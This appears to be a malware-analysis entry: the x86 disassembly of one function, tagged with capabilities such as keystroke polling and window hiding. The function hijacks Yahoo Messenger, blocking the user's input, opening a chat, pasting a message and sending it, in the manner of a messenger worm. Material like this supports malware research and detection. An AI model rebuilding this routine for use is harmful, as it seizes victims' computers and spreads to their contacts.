Function at 0x402c60
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x224
mov eax, dword [0x4151a8]
push ebp
mov ebp, dword [0x41738c]
push edi
mov dword [esp + 0x228], eax
lea eax, [esp + 0x128]
push 0x416600
inc ebp
push eax
mov dword [0x41738c], ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0
push str.YahooBuddyMain
mov byte [0x417390], 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x403002
push esi
push 1
call sub.USER32.dll_BlockInput
push 0x411cb4
push 2
call fcn.00401ff0
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
add esp, 8
push 0
push str.YTopWindow
push 0
push edi
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x402ffa
push 0
push str.CMerlinWndBase
push 0
push eax
call esi
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x14], ebp
je 0x402ffa
push 0
push str.SysListView32
push 0
push ebp
call esi
mov esi, eax
test esi, esi
je 0x402ffa
push ebx
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call ebx
mov ecx, dword [esp + 0x14]
push ecx
call ebx
push ebp
call ebx
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_SetFocus]
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
push 0x80008
push 1
push 0x201
push esi
call edi
push 0
push 0
push 0xf
push esi
call edi
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov al, byte [esp + 0x24]
mov dl, byte [esp + 0x20]
xor ecx, ecx
add al, 5
mov ch, al
add dl, 0xa
mov cl, dl
push ecx
push 0
push 0x84
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x2020001
push esi
push 0x20
push esi
call edi
push 0x80008
push 0
push 0x202
push esi
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x24
call ebp
push 0
push 1
push 0
push 0xa0
call ebp
push 0
push 0
push 0
push 0x23
call ebp
push 0
push 3
push 0x2d
push 0xa0
call ebp
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1c0001
push 0xd
push 0x100
push esi
call edi
push 0x1c0001
push 0xd
push 0x102
push esi
call edi
push 0x1c0001
push 0xd
push 0x101
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push str.IMClass
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
jne 0x402e78
nop
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x10]
sub eax, 0xbb8
cmp ecx, eax
jb 0x402e70
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.IMClass
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x402e40
jmp 0x402e78
test ebp, ebp
je 0x402f74
lea eax, [esp + 0x20]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 1
push 1
push 0
push 0
push ebp
call dword [sym.imp.USER32.dll_MoveWindow]
push 1
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.YIMInputWindow
push 0
push ebp
call dword [sym.imp.USER32.dll_FindWindowExA]
push ebp
mov dword [esp + 0x14], eax
call ebx
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
lea eax, [esp + 0x130]
push eax
lea ecx, [esp + 0x34]
push 0x411c6c
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x3c]
push edx
call fcn.004015e0
mov eax, dword [esp + 0x20]
push eax
lea ecx, [esp + 0x44]
push ecx
call fcn.00401f40
add esp, 0x18
push 0
push 1
push 0
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 3
push 0x2d
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0xd
call dword [sym.imp.USER32.dll_keybd_event]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0x10
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [esp + 0x1c]
push edx
call ebx
mov eax, dword [esp + 0x14]
push eax
call ebx
mov ecx, dword [esp + 0x18]
push ecx
call ebx
push esi
call ebx
mov ebx, dword [sym.imp.USER32.dll_SetFocus]
push esi
call ebx
push 0x80008
push 1
push 0x201
push esi
call edi
push 0
push 0
push 0xf
push esi
call edi
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov al, byte [esp + 0x24]
mov dl, byte [esp + 0x20]
xor ecx, ecx
add al, 5
mov ch, al
add dl, 0xa
mov cl, dl
push ecx
push 0
push 0x84
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x2020001
push esi
push 0x20
push esi
call edi
push 0x80008
push 0
push 0x202
push esi
call edi
push 0
call ebx
pop ebx
push 0
call sub.USER32.dll_BlockInput
pop esi
mov ecx, dword [esp + 0x228]
pop edi
mov eax, 1
pop ebp
call fcn.004088de
add esp, 0x224
ret 4